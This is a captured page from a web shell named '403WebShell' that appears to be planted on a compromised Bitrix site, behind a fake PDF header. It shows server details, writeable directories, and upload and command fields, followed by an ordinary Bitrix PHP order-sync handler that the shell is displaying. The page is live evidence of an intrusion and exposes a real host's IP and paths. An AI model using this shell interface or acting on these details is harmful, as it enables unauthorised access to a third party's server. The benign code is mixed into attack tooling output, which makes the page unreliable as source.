%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.137.187.71
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/integration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/exchange/integration/handler.php
<?php
namespace Bitrix\Sale\Exchange\Integration;


use Bitrix\Main\Event;
use Bitrix\Sale\Internals\OrderTable;
use Bitrix\Sale\Order;
use Bitrix\Sale\Exchange\Integration;

final class Handler
{
	static public function handlerCallbackOnSaleOrderSaved(Event $event)
	{
		/** @var Order $order */
		$order = $event->getParameters()['ENTITY'];

		if((new Integration\Connector\Manager())->isOn())
		{
			if($order->isNew())
			{
				$fields = new \Bitrix\Sale\Internals\Fields(
					\Bitrix\Main\Context::getCurrent()
						->getRequest()
						->toArray());

				$placement = new Integration\CRM\Placement\PlacementDeal($fields->getValues());
				if($placement->getTypeHandler() == Integration\HandlerType::ORDER_NEW)	//deal exists + new order
				{

					if($fields->get('entityTypeId') == Integration\CRM\EntityType::DEAL
						&& $fields->get('entityId')>0)
					{
						$params[$order->getId()] = [
							'OWNER_TYPE_ID'=>Integration\CRM\EntityType::DEAL,
							'OWNER_ID'=>$fields->get('entityId')
						];

						(new Integration\Service\Scenarios\DealUpdate())
							->update($fields->get('entityId'), $params);

						(new static())
							->syncB24($order);
					}
				}
				else	//new deal + new order
				{
					/*
					(new Integration\Service\Scenarios\DealAdd())
						->adds([$order->getId()=>$order->getFieldValues()]);

					(new static())
						->syncB24($order);
					*/
				}
			}
		}

	}
	static public function syncB24(Order $order)
	{
		$order->setFieldNoDemand('IS_SYNC_B24', 'Y');

		OrderTable::update($order->getId(), ['IS_SYNC_B24' => 'Y']);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit